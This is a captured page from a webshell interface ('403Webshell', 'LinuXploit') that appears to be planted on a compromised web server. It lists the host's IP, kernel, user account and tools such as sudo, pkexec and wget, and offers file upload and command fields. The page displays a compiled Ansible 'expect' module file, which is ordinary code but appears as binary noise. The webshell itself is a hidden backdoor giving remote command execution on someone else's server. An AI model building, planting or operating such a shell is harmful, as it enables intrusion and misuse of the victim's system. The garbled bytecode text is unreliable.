403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/modules/__pycache__/expect.cpython-311.opt-1.pyc
�

���cO!����ddlmZmZmZeZdZdZddlZddl	Z	ddl
Z
dZ	ddlZdZ
n#e$re
j��ZdZ
YnwxYwddlmZmZddlmZmZmZd	�Zd
�Zedkre��dSdS)�)�absolute_import�division�print_functionaX
---
module: expect
version_added: '2.0'
short_description: Executes a command and responds to prompts
description:
     - The C(expect) module executes a command and responds to prompts.
     - The given command will be executed on all selected nodes. It will not be
       processed through the shell, so variables like C($HOME) and operations
       like C("<"), C(">"), C("|"), and C("&") will not work.
options:
  command:
    description:
      - The command module takes command to run.
    required: true
    type: str
  creates:
    type: path
    description:
      - A filename, when it already exists, this step will B(not) be run.
  removes:
    type: path
    description:
      - A filename, when it does not exist, this step will B(not) be run.
  chdir:
    type: path
    description:
      - Change into this directory before running the command.
  responses:
    type: dict
    description:
      - Mapping of expected string/regex and string to respond with. If the
        response is a list, successive matches return successive
        responses. List functionality is new in 2.1.
    required: true
  timeout:
    type: int
    description:
      - Amount of time in seconds to wait for the expected strings. Use
        C(null) to disable timeout.
    default: 30
  echo:
    description:
      - Whether or not to echo out your response strings.
    default: false
    type: bool
requirements:
  - python >= 2.6
  - pexpect >= 3.3
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: none
    diff_mode:
        support: none
    platform:
        support: full
        platforms: posix
notes:
  - If you want to run a command through the shell (say you are using C(<),
    C(>), C(|), and so on), you must specify a shell in the command such as
    C(/bin/bash -c "/path/to/something | grep else").
  - The question, or key, under I(responses) is a python regex match. Case
    insensitive searches are indicated with a prefix of C(?i).
  - The C(pexpect) library used by this module operates with a search window
    of 2000 bytes, and does not use a multiline regex match. To perform a
    start of line bound match, use a pattern like ``(?m)^pattern``
  - By default, if a question is encountered multiple times, its string
    response will be repeated. If you need different responses for successive
    question matches, instead of a string response, use a list of strings as
    the response. The list functionality is new in 2.1.
  - The M(ansible.builtin.expect) module is designed for simple scenarios.
    For more complex needs, consider the use of expect code with the M(ansible.builtin.shell)
    or M(ansible.builtin.script) modules. (An example is part of the M(ansible.builtin.shell) module documentation).
seealso:
- module: ansible.builtin.script
- module: ansible.builtin.shell
author: "Matt Martz (@sivel)"
a�
- name: Case insensitive password string match
  ansible.builtin.expect:
    command: passwd username
    responses:
      (?i)password: "MySekretPa$$word"
  # you don't want to show passwords in your logs
  no_log: true

- name: Generic question with multiple different responses
  ansible.builtin.expect:
    command: /path/to/custom/command
    responses:
      Question:
        - response1
        - response2
        - response3
NTF)�
AnsibleModule�missing_required_lib)�to_bytes�	to_native�to_textc�2����d�|D������fd�}|S)Nc3�`K�|])}dt|���d��zV��*dS)�%s
�
N)r�rstrip)�.0�rs  �;/usr/lib/python3.11/site-packages/ansible/modules/expect.py�	<genexpr>z#response_closure.<locals>.<genexpr>~s;����G�G���(�1�+�+�,�,�U�3�3�3�G�G�G�G�G�G�c���	t���S#t$r-��d��d|dd�d����YdSwxYw)NzNo remaining responses for 'z', output was '�child_result_list����'��msg)�next�
StopIteration�	fail_json)�info�module�question�resp_gens ���r�wrappedz!response_closure.<locals>.wrapped�s����	B���>�>�!���	B�	B�	B�����"*�(�(�"&�':�";�B�"?�"?�"?�"A��
B�
B�
B�
B�
B�
B�	B���s��3A	�A	�)rr �	responsesr"r!s``  @r�response_closurer%}sI�����G�G�Y�G�G�G�H�B�B�B�B�B�B�B��Nrc��tttd���td���td���td���tdd���tdd�	��td
d�	������
��}ts)|�t	d��t
���|jd}|jd}|jd}|jd}|jd}|jd}|jd}t��}|���D]c\}	}
t|
t��rt||	|
��}n%dt|
���d��z}||t|	��<�d|�
��dkr|�dd���|r3tj�|��}tj|��|r;tj�|��r|�|d|zdd���|r;tj�|��s|�|d |zdd���t(j���}		t-j||d|||d�!��\}
}n;#t0$r.t-j||d|dd|dt,j|�"�
�
\}
}YnwxYwn�#t0t6f$r=}|�d#t,j�d$t;|�����%��Yd}~nWd}~wt,j$rB}|�d&t;|��zt?j �����Yd}~nd}~wwxYwt(j���}||z
}|
�d'}
t|t;|
���d(��|tC|��tC|��tC|��d�)��}|�|jd-d*d+i|��n|dkr|jd-d*d,i|��|jd-i|��dS).NT)�required�path)�type�dict)r)r'�int�)r)�default�boolF)�command�chdir�creates�removesr$�timeout�echo)�
argument_spec�pexpect)r�	exceptionr0r/r1r2r$r3r4r
r��zno command given)�rcrzskipped, since %s existsr)�cmd�stdout�changedr:z skipped, since %s does not exist)r3�withexitstatus�events�cwdr4�encoding)	r3r>r?�
extra_args�logfiler@�env�_spawnr4z+Insufficient version of pexpect installed (z0), this module requires pexpect>=3.3. Error was rz%srz
)r;r<r:�start�end�deltar=rzcommand exceeded timeoutznon-zero return coder#)"rr*�HAS_PEXPECTrr�PEXPECT_IMP_ERR�params�items�
isinstance�listr%rr�strip�osr(�abspathr0�exists�	exit_json�datetime�nowr6�run�	TypeError�_run�spawn�AttributeError�__version__r	�ExceptionPexpect�	traceback�
format_exc�str)rr0�argsr1r2r$r3r4r?�key�value�response�startd�b_outr:�e�enddrH�results                   r�mainri�s���
���$�'�'�'��F�#�#�#��f�%�%�%��f�%�%�%����6�6�6��e�R�0�0�0��6�5�1�1�1�
�
�
�
�
�
�F��4����1�)�<�<�#2�	�	4�	4�	4�
�M�'�"�E��=��#�D��m�I�&�G��m�I�&�G��
�k�*�I��m�I�&�G��=�� �D�
�V�V�F��o�o�'�'�)�)�
��U��e�T�"�"�	?�'���U�;�;�H�H���%���!7�!7��!>�!>�>�H� (��x��}�}����z�z�|�|�r������C�%7��8�8�8��������&�&��
�������
��7�>�>�'�"�"�	�����1�G�;���	
�
�
�
��
��w�~�~�g�&�&�	�����9�G�C���	
�
�
�
��
�
"�
"�
$�
$�F�T�	0���D�'�$�+1�u�4�-1�3�3�3�I�E�2�2���	0�	0�	0� ��T�7�4�,2�t�T�).�D���*.�0�0�0�I�E�2�2�2�		0������
�~�&�S�S�S�
	����/6�/B�/B�/B�I�a�L�L�L�R��	S�	S�	S�	S�	S�	S�	S�	S������#�T�T�T����T�I�a�L�L�0�I�<P�<R�<R��S�S�S�S�S�S�S�S�����T������ � �"�"�D��6�M�E��}���
������&�&�v�.�.�
��&�k�k���I�I��%�j�j�����F�
�z����B�B�7�B�6�B�B�B�B�	�q������>�>�3�>�v�>�>�>��F����v�����sB�J8�7K4�85K0�-K4�/K0�0K4�4N�3L=�=N�8N�N�__main__)�
__future__rrrr)�
__metaclass__�
DOCUMENTATION�EXAMPLESrTrPr]rJr6rI�ImportErrorr^�ansible.module_utils.basicrr�ansible.module_utils._textrr	r
r%ri�__name__r#rr�<module>rss(��A�@�@�@�@�@�@�@�@�@��
�N�
�`��&����	�	�	�	���������N�N�N��K�K������*�i�*�,�,�O��K�K�K�����K�J�J�J�J�J�J�J�C�C�C�C�C�C�C�C�C�C����r�r�r�j�z����D�F�F�F�F�F��s�'�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit